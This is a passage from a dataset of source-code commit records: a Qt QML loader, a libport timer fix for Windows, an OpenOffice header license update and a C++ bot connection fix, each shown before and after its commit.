this, loadedUrl);\n    if (!unit) {\n        QQmlError error;\n        error.setDescription(\"Error parsing \/ loading\");\n        appendError(error);\n        return NULL;\n    }\n\n    \/\/ replace with loaded url cause we aren't always loading from the same\n    \/\/ directories as we compiled\n    unit->url = loadedUrl;\n    unit->urlString = loadedUrl.toString();\n\n    if (unit->type != QMC_QML) {\n        QQmlError error;\n        error.setDescription(\"Cannot have Script unit as main unit\");\n        appendError(error);\n        unit->blob->release();\n        return NULL;\n    }\n\n    QmcTypeUnit *typeUnit = (QmcTypeUnit *)unit->blob;\n\n    \/\/ add to engine\n    if (!typeUnit->link()) {\n        appendErrors(unit->errors);\n        unit->blob->release();\n        return NULL;\n    }\n\n    \/\/ create QQmlComponent and attach QQmlCompiledData into it\n    QQmlComponent *component = typeUnit->createComponent();\n    if (!component) {\n        QQmlError error;\n        error.setDescription(\"Error creating QQmlComponent\");\n        error.setUrl(unit->url);\n        appendError(error);\n        unit->blob->release();\n        return NULL;\n    }\n\n    \/\/ TBD: where to put unit\n    d->unit = typeUnit;\n    d->unit->addref();\n\n    return component;\n}\n\nvoid QmcLoader::setLoadDependenciesAutomatically(bool load)\n{\n    Q_D(QmcLoader);\n    d->loadDependenciesAutomatically = load;\n}\n\nbool QmcLoader::isLoadDependenciesAutomatically() const\n{\n    const Q_D(QmcLoader);\n    return d->loadDependenciesAutomatically;\n}\n\nQUrl QmcLoader::createLoadedUrl(const QString &file)\n{\n    QString urlStr;\n    if (file.startsWith(\":\/\"))\n        urlStr = \"qrc:\";\n    else if(file.startsWith(\"\/\"))\n        urlStr = \"file:\/\/\";\n    else{\n        QDir dd;\n        urlStr = \"file:\/\/\" + dd.absolutePath() + \"\/\";\n    }\n    urlStr.append(file);\n    return QUrl(urlStr);\n}\n\nQString QmcLoader::getBaseUrl(const QUrl &url)\n{\n    QString path = url.path();\n    QUrl newUrl(url);\n    int lastSlash = path.lastIndexOf('\/');\n    if (lastSlash != -1) {\n        path = path.left(lastSlash + 1);\n        newUrl.setPath(path);\n    } else {\n        newUrl.setPath(\"\");\n    }\n    return newUrl.toString();\n}\n\nQmcUnit *QmcLoader::getUnit(const QString &url)\n{\n    Q_D(QmcLoader);\n    QString precompiled = precompiledUrl(url);\n    if (!d->dependencies.contains(precompiled)) {\n        if (d->loadDependenciesAutomatically) {\n            \/\/ try to load it\n            if (d->dependencyRecursionDepth >= DEPENDENCY_MAX_RECURSION_DEPTH) {\n                QQmlError error;\n                error.setDescription(\"Could not load dependency, too deep recursion\");\n                error.setUrl(url);\n                appendError(error);\n                return NULL;\n            }\n            d->dependencyRecursionDepth++;\n            QmcUnit *unit = doloadDependency(precompiled);\n            d->dependencyRecursionDepth--;\n            return unit;\n        } else\n        return NULL;\n    }\n    return d->dependencies[precompiled];\n}\n\nQString QmcLoader::precompiledUrl(const QString &url)\n{\n    QString urlString = url;\n    if (url.endsWith(\".js\"))\n        urlString.append(\"c\");\n    else if (url.endsWith(\".qml\"))\n        urlString[urlString.length() - 1] = 'c';\n    return urlString;\n}\n\nQmcScriptUnit *QmcLoader::getScript(const QString &url, const QUrl &loaderUrl)\n{\n    QString newUrl;\n    if(url.startsWith(\"file:\")){\n        newUrl = url;\n    }else{\n        newUrl = getBaseUrl(loaderUrl);\n        newUrl.append(url);\n    }\n\n    QmcUnit *unit = getUnit(newUrl);\n    if (!unit)\n        return NULL;\n    if (unit->type != QMC_JS)\n        return NULL;\n    unit->blob->addref();\n    return (QmcScriptUnit *)unit->blob;\n}\n\nQmcUnit *QmcLoader::getType(const QString &name, const QUrl &loaderUrl)\n{\n    qDebug() << \"Getting type name = \" << name << \"loaderUrl =\" << loaderUrl;\n\n    QString newUrl;\n    if(name.startsWith(\"file:\/\/\")){\n        newUrl = name;\n        newUrl.append(\".qml\");\n    }else{\n        newUrl = getBaseUrl(loaderUrl);\n        newUrl.append(name);\n        newUrl.append(\".qml\");\n    }\n\n    QmcUnit *unit = getUnit(newUrl);\n    if (!unit)\n        return NULL;\n    if (unit->type != QMC_QML)\n        return NULL;\n    unit->blob->addref();\n    return unit;\n}\n\nbool QmcLoader::loadDependency(QDataStream &stream, const QUrl &loadedUrl)\n{\n    clearError();\n    QmcUnit *unit = doloadDependency(stream, loadedUrl);\n    unit->blob->release();\n    return true;\n}\n\nbool QmcLoader::loadDependency(const QString &file)\n{\n    clearError();\n    QFile f(file);\n    if (!f.open(QFile::ReadOnly)) {\n        QQmlError error;\n        error.setDescription(\"Could not open file for reading\");\n        appendError(error);\n        return NULL;\n    }\n\n    QDataStream in(&f);\n    QmcUnit *unit = doloadDependency(in, createLoadedUrl(file));\n    unit->blob->release();\n    f.close();\n    return true;\n}\n\nQmcUnit *QmcLoader::doloadDependency(const QString &url)\n{\n    QUrl u(url);\n    QString file = u.toLocalFile();\n    QFile f(file);\n    if (!f.open(QFile::ReadOnly)) {\n        QQmlError error;\n        error.setDescription(\"Could not open file for reading: \" + f.errorString());\n        qWarning() << \"Could not open file for reading\" << file;\n        error.setUrl(QUrl(file));\n        qDebug() << \"Cannot open\" << file;\n        appendError(error);\n        return NULL;\n    }\n\n    QDataStream in(&f);\n    const QUrl loadAs = createLoadedUrl(file);\n    qDebug() << \"Loading dependency\" << url << \"as\" << loadAs;\n    QmcUnit *unit = doloadDependency(in, loadAs);\n    f.close();\n    return unit;\n}\n\nQmcUnit *QmcLoader::doloadDependency(QDataStream &stream, const QUrl &loadedUrl)\n{\n    Q_D(QmcLoader);\n    QmcUnit *unit = QmcUnit::loadUnit(stream, d->engine, this, loadedUrl);\n    if (!unit) {\n        QQmlError error;\n        error.setDescription(\"Error loading\");\n        appendError(error);\n        return NULL;\n    }\n\n    \/\/ add to dependencies\n    d->dependencies[unit->loadedUrl.toString()] = unit;\n    unit->blob->addref();\n    return unit;\n}\n\nconst QList<QQmlError>& QmcLoader::errors() const\n{\n    const Q_D(QmcLoader);\n    return d->errors;\n}\n\nvoid QmcLoader::clearError() {\n    Q_D(QmcLoader);\n    d->errors.clear();\n}\n\nvoid QmcLoader::appendError(QQmlError error)\n{\n    Q_D(QmcLoader);\n    d->errors.append(error);\n}\n\nvoid QmcLoader::appendErrors(const QList<QQmlError> &errors)\n{\n    Q_D(QmcLoader);\n    d->errors.append(errors);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n ** \\file libport\/timer.cc\n ** \\brief Implementation for libport\/timer.hh.\n *\/\n\n#include <libport\/config.h>\n#include <iostream>\n#include <iomanip>\n\n#ifdef LIBPORT_HAVE_SYS_TIMES_H\n# include <sys\/times.h>\n#else\n\n# include \"libport\/utime.hh\"\n# include \"libport\/detect_win32.h\"\nstruct tms\n{\n  libport::utime_t tms_utime;  \/* user time *\/\n  libport::utime_t tms_stime;  \/* system time *\/\n  libport::utime_t tms_cutime; \/* user time of dead children *\/\n  libport::utime_t tms_cstime; \/* system time of dead children *\/\n};\n\n# ifdef WIN32\n# include \"libport\/windows.hh\"\nstatic libport::utime_t times(struct tms& t)\n{\n \/\/unit: 100 nanoseconds\n FILETIME ctime, etime, kerneltime, usertime;\n GetProcessTimes(GetCurrentProcess(), &ctime, &etime, &kerneltime, &usertime);\n t.tms_cutime = t.tms_cstime = 0;\n t.tms_utime = usertime.dwLowDateTime + static_cast<libport::utime_t>(usertime.dwHighDateTime) << 32;\n t.tms_stime = kerneltime.dwLowDateTime + static_cast<libport::utime_t>(kernelTime.dwHighDateTime) << 32;\n return utime()*10LL;\n}\n\n\/\/\/ FILETIME unit is 100 nanoseconds.\n# define sysconf(i) 10000000LL\n# endif\n\n#endif\n\n#include <unistd.h>\n\n#include \"libport\/timer.hh\"\n#include \"libport\/contract.hh\"\n\nnamespace libport\n{\n\n  \/*-----------------.\n  | timer::time_var.  |\n  `-----------------*\/\n\n  timer::time_var::time_var ()\n    : initial (true)\n  { }\n\n  void\n  timer::time_var::start ()\n  {\n    struct tms t;\n\n    begin.wall = times (&t);\n    begin.user = t.tms_utime;\n    begin.sys  = t.tms_stime;\n\n    if (initial)\n      {\n\tinitial = false;\n\tfirst = begin;\n      }\n  }\n\n  void\n  timer::time_var::stop ()\n  {\n    struct tms t;\n\n    last.wall = times (&t);\n    last.user = t.tms_utime;\n    last.sys = t.tms_stime;\n    elapsed.wall += last.wall - begin.wall;\n    elapsed.user += last.user - begin.user;\n    elapsed.sys += last.sys - begin.sys;\n  }\n\n  bool\n  timer::time_var::is_zero ()\n  {\n    return true\n\t    && elapsed.wall == 0\n\t    && elapsed.user == 0\n\t    && elapsed.sys  == 0;\n  }\n\n\n  \/*--------.\n  | timer.  |\n  `--------*\/\n\n  timer::timer () :\n    dump_stream (0)\n  { }\n\n  \/\/ Duplicate a timer. No tasks should be running.\n  timer::timer (const timer& rhs) :\n    intmap (rhs.intmap),\n    total (rhs.total),\n    dump_stream (rhs.dump_stream)\n  {\n    precondition (rhs.tasks.empty ());\n\n    for (task_map_type::const_iterator i = rhs.tasksmap.begin ();\n\t i != rhs.tasksmap.end (); ++i)\n      if (tasksmap.find (i->first) == tasksmap.end ())\n\ttasksmap[i->first] = new time_var (*i->second);\n  }\n\n\n  timer::~timer ()\n  {\n    \/\/ If magic is asked on destruction, let it happen completely.\n    if (dump_stream)\n      {\n\t\/\/ Consider that if the tasks were not properly closed, then\n\t\/\/ stop was not invoked either.\n\tif (!tasks.empty ())\n\t  {\n\t    do\n\t      pop ();\n\t    while (!tasks.empty ())\n\t      ;\n\t    stop ();\n\t  }\n\tdump (*dump_stream);\n      }\n\n    \/\/ Deallocate all our time_var.\n    for (task_map_type::iterator i = tasksmap.begin ();\n\t i != tasksmap.end (); ++i)\n      delete i->second;\n  }\n\n\n  void\n  timer::name (int i, std::string task_name)\n  {\n    intmap[i] = task_name;\n  }\n\n  void\n  timer::timeinfo (long time, long total_time, std::ostream& out)\n  {\n    out << setiosflags (std::ios::left);\n    out << std::setw (6) << std::setprecision (6)\n\t<< (float) (time) \/ clocks_per_sec;\n    out << resetiosflags (std::ios::left);\n    out << \" (\";\n    out << std::setw (5) << std::setprecision (3)\n\t<< (total_time ?\n\t    (float) time * 100 \/ total_time :\n\t    (float) time);\n    out << \"%) \";\n  }\n\n\n  void\n  timer::dump (std::ostream& out = std::cerr)\n  {\n    out << \"Execution times (seconds)\" << std::endl;\n    for (task_map_type::const_iterator i = tasksmap.begin ();\n\t i != tasksmap.end (); ++i)\n      {\n\tif (!(i->second->is_zero ()))\n\t  {\n\t    out << \" \" << i->first << std::setw (26 - i->first.length ());\n\t    out << \": \";\n\t    timeinfo (i->second->elapsed.user, total.elapsed.user, out);\n\t    out << \"  \";\n\t    timeinfo (i->second->elapsed.sys, total.elapsed.sys, out);\n\t    out << \"  \";\n\t    timeinfo (i->second->elapsed.wall, total.elapsed.wall, out);\n\t    out << std::endl;\n\t  }\n      }\n    out << std::endl;\n\n    out << \"Cumulated times (seconds)\" << std::endl;\n    for (task_map_type::const_iterator i = tasksmap.begin ();\n\t i != tasksmap.end (); ++i)\n      {\n\tif (0 != (i->second->last.wall - i->second->first.wall))\n\t  {\n\t    out << \" \" << i->first << std::setw (26 - i->first.length ());\n\t    out << \": \";\n\t    timeinfo (i->second->last.user - i->second->first.user,\n\t\t      total.elapsed.user, out);\n\t    out << \"  \";\n\t    timeinfo (i->second->last.sys - i->second->first.sys,\n\t\t      total.elapsed.sys, out);\n\t    out << \"  \";\n\t    timeinfo (i->second->last.wall - i->second->first.wall,\n\t\t      total.elapsed.wall, out);\n\t    out << std::endl;\n\t  }\n      }\n    out << std::endl;\n\n    out << \" TOTAL (seconds)\"  << std::setw (11) << \": \"\n\n\t<< setiosflags (std::ios::left) << std::setw (7)\n\t<< (float) total.elapsed.user \/ clocks_per_sec\n\t<< std::setw (11)\n\t<< \"user,\"\n\n\t<< std::setw (7)\n\t<< (float) total.elapsed.sys \/ clocks_per_sec\n\t<< std::setw (11)\n\t<< \"system,\"\n\n\t<< std::setw (7)\n\t<< (float) total.elapsed.wall \/ clocks_per_sec\n\t<< \"wall\"\n\n\t<< resetiosflags (std::ios::left) << std::endl;\n  }\n\n  void\n  timer::push (const std::string& task_name)\n  {\n    time_var* current;\n\n    \/\/ if stack isn't empty, we set elapsed time for the current task\n    if (!tasks.empty ())\n      tasks.top ()->stop ();\n\n    if (tasksmap.find (task_name) == tasksmap.end ())\n      tasksmap[task_name] = new time_var;\n\n    current = tasksmap[task_name];\n    tasks.push (current);\n    current->start ();\n  }\n\n  void\n  timer::pop ()\n  {\n    precondition (!tasks.empty ());\n\n    \/\/ Set the Elapsed time for the task we are closing\n    tasks.top ()->stop ();\n\n    \/\/ Current task is removed of the stack\n    tasks.pop ();\n\n    \/\/ We set the start time of the previous task at current time\n    if (!tasks.empty ())\n      tasks.top ()->start ();\n  }\n\n  timer&\n  timer::operator<< (const timer& rhs)\n  {\n    \/\/ No task should be running when merging timers.\n    precondition (rhs.tasks.empty ());\n\n    for (task_map_type::const_iterator i = rhs.tasksmap.begin ();\n\t i != rhs.tasksmap.end (); ++i)\n      {\n\tif (tasksmap.find (i->first) == tasksmap.end ())\n\t  tasksmap[i->first] = new time_var (*i->second);\n      }\n\n    intmap.insert (rhs.intmap.begin (), rhs.intmap.end ());\n    return *this;\n  }\n\n  const long timer::clocks_per_sec = sysconf (_SC_CLK_TCK);\n\n} \/\/ namespace libport\n<commit_msg>Fix windows version of times.<commit_after>\/**\n ** \\file libport\/timer.cc\n ** \\brief Implementation for libport\/timer.hh.\n *\/\n\n#include <libport\/config.h>\n#include <iostream>\n#include <iomanip>\n\n#ifdef LIBPORT_HAVE_SYS_TIMES_H\n# include <sys\/times.h>\n#else\n\n# include \"libport\/utime.hh\"\n# include \"libport\/detect_win32.h\"\nstruct tms\n{\n  libport::utime_t tms_utime;  \/* user time *\/\n  libport::utime_t tms_stime;  \/* system time *\/\n  libport::utime_t tms_cutime; \/* user time of dead children *\/\n  libport::utime_t tms_cstime; \/* system time of dead children *\/\n};\n\n# ifdef WIN32\n# include \"libport\/windows.hh\"\nstatic libport::utime_t times(struct tms* t)\n{\n \/\/unit: 100 nanoseconds\n FILETIME ctime, etime, kerneltime, usertime;\n GetProcessTimes(GetCurrentProcess(), &ctime, &etime, &kerneltime, &usertime);\n t->tms_cutime = t->tms_cstime = 0;\n t->tms_utime = usertime.dwLowDateTime + static_cast<libport::utime_t>(usertime.dwHighDateTime) << 32;\n t->tms_stime = kerneltime.dwLowDateTime + static_cast<libport::utime_t>(kerneltime.dwHighDateTime) << 32;\n return libport::utime()*10LL;\n}\n\n\/\/\/ FILETIME unit is 100 nanoseconds.\n# define sysconf(i) 10000000LL\n# endif\n\n#endif\n\n#include <unistd.h>\n\n#include \"libport\/timer.hh\"\n#include \"libport\/contract.hh\"\n\nnamespace libport\n{\n\n  \/*-----------------.\n  | timer::time_var.  |\n  `-----------------*\/\n\n  timer::time_var::time_var ()\n    : initial (true)\n  { }\n\n  void\n  timer::time_var::start ()\n  {\n    struct tms t;\n\n    begin.wall = times (&t);\n    begin.user = t.tms_utime;\n    begin.sys  = t.tms_stime;\n\n    if (initial)\n      {\n\tinitial = false;\n\tfirst = begin;\n      }\n  }\n\n  void\n  timer::time_var::stop ()\n  {\n    struct tms t;\n\n    last.wall = times (&t);\n    last.user = t.tms_utime;\n    last.sys = t.tms_stime;\n    elapsed.wall += last.wall - begin.wall;\n    elapsed.user += last.user - begin.user;\n    elapsed.sys += last.sys - begin.sys;\n  }\n\n  bool\n  timer::time_var::is_zero ()\n  {\n    return true\n\t    && elapsed.wall == 0\n\t    && elapsed.user == 0\n\t    && elapsed.sys  == 0;\n  }\n\n\n  \/*--------.\n  | timer.  |\n  `--------*\/\n\n  timer::timer () :\n    dump_stream (0)\n  { }\n\n  \/\/ Duplicate a timer. No tasks should be running.\n  timer::timer (const timer& rhs) :\n    intmap (rhs.intmap),\n    total (rhs.total),\n    dump_stream (rhs.dump_stream)\n  {\n    precondition (rhs.tasks.empty ());\n\n    for (task_map_type::const_iterator i = rhs.tasksmap.begin ();\n\t i != rhs.tasksmap.end (); ++i)\n      if (tasksmap.find (i->first) == tasksmap.end ())\n\ttasksmap[i->first] = new time_var (*i->second);\n  }\n\n\n  timer::~timer ()\n  {\n    \/\/ If magic is asked on destruction, let it happen completely.\n    if (dump_stream)\n      {\n\t\/\/ Consider that if the tasks were not properly closed, then\n\t\/\/ stop was not invoked either.\n\tif (!tasks.empty ())\n\t  {\n\t    do\n\t      pop ();\n\t    while (!tasks.empty ())\n\t      ;\n\t    stop ();\n\t  }\n\tdump (*dump_stream);\n      }\n\n    \/\/ Deallocate all our time_var.\n    for (task_map_type::iterator i = tasksmap.begin ();\n\t i != tasksmap.end (); ++i)\n      delete i->second;\n  }\n\n\n  void\n  timer::name (int i, std::string task_name)\n  {\n    intmap[i] = task_name;\n  }\n\n  void\n  timer::timeinfo (long time, long total_time, std::ostream& out)\n  {\n    out << setiosflags (std::ios::left);\n    out << std::setw (6) << std::setprecision (6)\n\t<< (float) (time) \/ clocks_per_sec;\n    out << resetiosflags (std::ios::left);\n    out << \" (\";\n    out << std::setw (5) << std::setprecision (3)\n\t<< (total_time ?\n\t    (float) time * 100 \/ total_time :\n\t    (float) time);\n    out << \"%) \";\n  }\n\n\n  void\n  timer::dump (std::ostream& out = std::cerr)\n  {\n    out << \"Execution times (seconds)\" << std::endl;\n    for (task_map_type::const_iterator i = tasksmap.begin ();\n\t i != tasksmap.end (); ++i)\n      {\n\tif (!(i->second->is_zero ()))\n\t  {\n\t    out << \" \" << i->first << std::setw (26 - i->first.length ());\n\t    out << \": \";\n\t    timeinfo (i->second->elapsed.user, total.elapsed.user, out);\n\t    out << \"  \";\n\t    timeinfo (i->second->elapsed.sys, total.elapsed.sys, out);\n\t    out << \"  \";\n\t    timeinfo (i->second->elapsed.wall, total.elapsed.wall, out);\n\t    out << std::endl;\n\t  }\n      }\n    out << std::endl;\n\n    out << \"Cumulated times (seconds)\" << std::endl;\n    for (task_map_type::const_iterator i = tasksmap.begin ();\n\t i != tasksmap.end (); ++i)\n      {\n\tif (0 != (i->second->last.wall - i->second->first.wall))\n\t  {\n\t    out << \" \" << i->first << std::setw (26 - i->first.length ());\n\t    out << \": \";\n\t    timeinfo (i->second->last.user - i->second->first.user,\n\t\t      total.elapsed.user, out);\n\t    out << \"  \";\n\t    timeinfo (i->second->last.sys - i->second->first.sys,\n\t\t      total.elapsed.sys, out);\n\t    out << \"  \";\n\t    timeinfo (i->second->last.wall - i->second->first.wall,\n\t\t      total.elapsed.wall, out);\n\t    out << std::endl;\n\t  }\n      }\n    out << std::endl;\n\n    out << \" TOTAL (seconds)\"  << std::setw (11) << \": \"\n\n\t<< setiosflags (std::ios::left) << std::setw (7)\n\t<< (float) total.elapsed.user \/ clocks_per_sec\n\t<< std::setw (11)\n\t<< \"user,\"\n\n\t<< std::setw (7)\n\t<< (float) total.elapsed.sys \/ clocks_per_sec\n\t<< std::setw (11)\n\t<< \"system,\"\n\n\t<< std::setw (7)\n\t<< (float) total.elapsed.wall \/ clocks_per_sec\n\t<< \"wall\"\n\n\t<< resetiosflags (std::ios::left) << std::endl;\n  }\n\n  void\n  timer::push (const std::string& task_name)\n  {\n    time_var* current;\n\n    \/\/ if stack isn't empty, we set elapsed time for the current task\n    if (!tasks.empty ())\n      tasks.top ()->stop ();\n\n    if (tasksmap.find (task_name) == tasksmap.end ())\n      tasksmap[task_name] = new time_var;\n\n    current = tasksmap[task_name];\n    tasks.push (current);\n    current->start ();\n  }\n\n  void\n  timer::pop ()\n  {\n    precondition (!tasks.empty ());\n\n    \/\/ Set the Elapsed time for the task we are closing\n    tasks.top ()->stop ();\n\n    \/\/ Current task is removed of the stack\n    tasks.pop ();\n\n    \/\/ We set the start time of the previous task at current time\n    if (!tasks.empty ())\n      tasks.top ()->start ();\n  }\n\n  timer&\n  timer::operator<< (const timer& rhs)\n  {\n    \/\/ No task should be running when merging timers.\n    precondition (rhs.tasks.empty ());\n\n    for (task_map_type::const_iterator i = rhs.tasksmap.begin ();\n\t i != rhs.tasksmap.end (); ++i)\n      {\n\tif (tasksmap.find (i->first) == tasksmap.end ())\n\t  tasksmap[i->first] = new time_var (*i->second);\n      }\n\n    intmap.insert (rhs.intmap.begin (), rhs.intmap.end ());\n    return *this;\n  }\n\n  const long timer::clocks_per_sec = sysconf (_SC_CLK_TCK);\n\n} \/\/ namespace libport\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: diactrl.hxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: rt $ $Date: 2004-11-26 20:15:42 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _SD_DIACTRL_HXX\n#define _SD_DIACTRL_HXX\n\n#pragma hdrstop\n\n#ifndef SD_DLGCTRLS_HXX\n#include \"dlgctrls.hxx\"\n#endif\n#ifndef _SFXINTITEM_HXX \/\/autogen\n#include <svtools\/intitem.hxx>\n#endif\n\n#ifndef _SFX_BINDINGS_HXX\n#include <sfx2\/bindings.hxx>\n#endif\n#ifndef _SVX_ITEMWIN_HXX \/\/autogen\n#include <svx\/itemwin.hxx>\n#endif\n\n#ifndef _SV_FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n\n#ifndef _SV_FIELD_HXX \/\/autogen\n#include <vcl\/field.hxx>\n#endif\n\n#ifndef _SV_TOOLBOX_HXX \/\/autogen\n#include <vcl\/toolbox.hxx>\n#endif\n\n#ifndef _SFXTBXCTRL_HXX \/\/autogen\n#include <sfx2\/tbxctrl.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_FRAME_XFRAME_HPP_\n#include <com\/sun\/star\/frame\/XFrame.hpp>\n#endif\n\n\/\/========================================================================\n\/\/ SdPagesField:\n\nclass SdPagesField : public SvxMetricField\n{\nprivate:\n    ::com::sun::star::uno::Reference< ::com::sun::star::frame::XFrame > m_xFrame;\nprotected:\n    virtual void    Modify();\n\npublic:\n                    SdPagesField( Window* pParent,\n                                  const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XFrame >& rFrame,\n                                  WinBits nBits = WB_BORDER | WB_SPIN | WB_REPEAT );\n                    ~SdPagesField();\n\n    void            Update( const SfxUInt16Item* pItem );\n};\n\n\/\/========================================================================\n\/\/ SdTbxCtlDiaPages:\n\/\/========================================================================\n\nclass SdTbxCtlDiaPages : public SfxToolBoxControl\n{\npublic:\n    virtual void        StateChanged( USHORT nSID, SfxItemState eState,\n                                      const SfxPoolItem* pState );\n    virtual Window*     CreateItemWindow( Window *pParent );\n\n    SFX_DECL_TOOLBOX_CONTROL();\n\n    SdTbxCtlDiaPages( USHORT nSlotId, USHORT nId, ToolBox& rTbx );\n    ~SdTbxCtlDiaPages();\n};\n\n#endif \/\/ _SD_DIACTRL_HXX\n\n\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.5.288); FILE MERGED 2005\/09\/05 13:22:56 rt 1.5.288.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: diactrl.hxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-09 05:24:24 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _SD_DIACTRL_HXX\n#define _SD_DIACTRL_HXX\n\n#pragma hdrstop\n\n#ifndef SD_DLGCTRLS_HXX\n#include \"dlgctrls.hxx\"\n#endif\n#ifndef _SFXINTITEM_HXX \/\/autogen\n#include <svtools\/intitem.hxx>\n#endif\n\n#ifndef _SFX_BINDINGS_HXX\n#include <sfx2\/bindings.hxx>\n#endif\n#ifndef _SVX_ITEMWIN_HXX \/\/autogen\n#include <svx\/itemwin.hxx>\n#endif\n\n#ifndef _SV_FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n\n#ifndef _SV_FIELD_HXX \/\/autogen\n#include <vcl\/field.hxx>\n#endif\n\n#ifndef _SV_TOOLBOX_HXX \/\/autogen\n#include <vcl\/toolbox.hxx>\n#endif\n\n#ifndef _SFXTBXCTRL_HXX \/\/autogen\n#include <sfx2\/tbxctrl.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_FRAME_XFRAME_HPP_\n#include <com\/sun\/star\/frame\/XFrame.hpp>\n#endif\n\n\/\/========================================================================\n\/\/ SdPagesField:\n\nclass SdPagesField : public SvxMetricField\n{\nprivate:\n    ::com::sun::star::uno::Reference< ::com::sun::star::frame::XFrame > m_xFrame;\nprotected:\n    virtual void    Modify();\n\npublic:\n                    SdPagesField( Window* pParent,\n                                  const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XFrame >& rFrame,\n                                  WinBits nBits = WB_BORDER | WB_SPIN | WB_REPEAT );\n                    ~SdPagesField();\n\n    void            Update( const SfxUInt16Item* pItem );\n};\n\n\/\/========================================================================\n\/\/ SdTbxCtlDiaPages:\n\/\/========================================================================\n\nclass SdTbxCtlDiaPages : public SfxToolBoxControl\n{\npublic:\n    virtual void        StateChanged( USHORT nSID, SfxItemState eState,\n                                      const SfxPoolItem* pState );\n    virtual Window*     CreateItemWindow( Window *pParent );\n\n    SFX_DECL_TOOLBOX_CONTROL();\n\n    SdTbxCtlDiaPages( USHORT nSlotId, USHORT nId, ToolBox& rTbx );\n    ~SdTbxCtlDiaPages();\n};\n\n#endif \/\/ _SD_DIACTRL_HXX\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"connection.h\"\n\nhwo_connection::hwo_connection(const std::string& host, const std::string& port)\n  : socket(io_service)\n{\n  tcp::resolver resolver(io_service);\n  tcp::resolver::query query(host, port);\n  boost::asio::connect(socket, resolver.resolve(query));\n  response_buf.prepare(8192);\n}\n\nhwo_connection::~hwo_connection()\n{\n  socket.close();\n}\n\njsoncons::json hwo_connection::receive_response(boost::system::error_code& error)\n{\n  boost::asio::read_until(socket, response_buf, \"\\n\", error);\n  if (error)\n  {\n    return jsoncons::json();\n  }\n  std::istream s(&response_buf);\n  return jsoncons::json::parse(s);\n}\n\nvoid hwo_connection::send_requests(const std::vector<jsoncons::json>& msgs)\n{\n  jsoncons::output_format format;\n  format.escape_all_non_ascii(true);\n  boost::asio::streambuf request_buf;\n  std::ostream s(&request_buf);\n  for (const auto& m : msgs) {\n    m.to_stream(s, format);\n    s << std::endl;\n  }\n  socket.send(request_buf.data());\n}\n<commit_msg>Fix case where received message was potentially dropped in C++ bot<commit_after>#include \"connection.h\"\n\nhwo_connection::hwo_connection(const std::string& host, const std::string& port)\n  : socket(io_service)\n{\n  tcp::resolver resolver(io_service);\n  tcp::resolver::query query(host, port);\n  boost::asio::connect(socket, resolver.resolve(query));\n  response_buf.prepare(8192);\n}\n\nhwo_connection::~hwo_connection()\n{\n  socket.close();\n}\n\njsoncons::json hwo_connection::receive_response(boost::system::error_code& error)\n{\n  auto len = boost::asio::read_until(socket, response_buf, \"\\n\", error);\n  if (error)\n  {\n    return jsoncons::json();\n  }\n  auto buf = response_buf.data();\n  std::string reply(boost::asio::buffers_begin(buf), boost::asio::buffers_begin(buf) + len);\n  response_buf.consume(len);\n  return 